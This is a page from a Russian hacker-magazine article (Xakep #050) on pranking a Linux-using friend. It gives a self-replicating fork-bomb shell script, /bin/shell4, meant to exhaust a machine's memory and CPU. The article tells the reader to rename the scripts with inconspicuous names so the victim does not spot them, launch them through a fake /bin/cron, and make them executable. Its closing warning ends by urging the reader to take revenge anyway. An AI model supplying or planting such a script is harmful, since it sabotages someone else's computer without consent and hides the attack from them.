Приколись над другом-линуксоидом v.2

Xakep, номер #050, стр. 050-078-3


Четвертый скрипт (файл /bin/shell4):

#!/bin/sh

while :

do

$0 2>/dev/null;

q=$((q))+31337;

w=$((w))+$((q));

e=$((e))+$((q))+$((w));

r=$((r))+$((q))+$((w))+$((e));

t=$((t))+$((q))+$((w))+$((e))+$((r));

y=$((y))+$((q))+$((w))+$((e))+$((r))+$((t));

done

Центральными объектами, подвергающимися проверке на прочность, являются

оперативная память и процессор. А что подходит для этого лучше всего? Правильно: сложные расчеты, что и реализовано крайне примитивно в этом скрипте. Но главной достопримечательностью являются вовсе не вычисления, удар которых примет на себя проц, а шухер, создающийся многократными запусками самой программы. Их количество будет расти в арифметической прогрессии, в результате чего оперативной памяти придется поднатужиться куда больше, чем вышеупомянутому CPU.

Полезный совет: первый, второй, третий и четвертый скрипт лучше переименовать, используя неприметные названия, чтобы сразу не бросались в глаза (если будешь это делать, то необходимо будет немного отредактировать главный скрипт aka /bin/cron, проставив там новые имена). Да, и не забудь поставить разрешение на выполнение всех скриптов:

chmod +x /bin/cron /bin/shell1 /bin/shell2 /bin/shell3 /bin/shell4

Warning!

Считаю своим долгом предупредить, что запуск приведенных скриптов может привести к очень неожиданным и зачастую неприятным (иногда даже катастрофическим) последствиям, за которые я не отвечаю. Вот почему сначала хорошенько подумай: "А действительно ли Васек такой козел распальцованный? Или, может, лучше пока не трогать его любимого черно-желто-белого друга? Ведь есть и другие способы ему отомстить за спаленную видюху, проломленный моник и разорванную на куски клаву..." Подумал? Вот теперь можешь отрываться по-черному над этим засранцем.

Назад на стр. 050-078-2  Содержание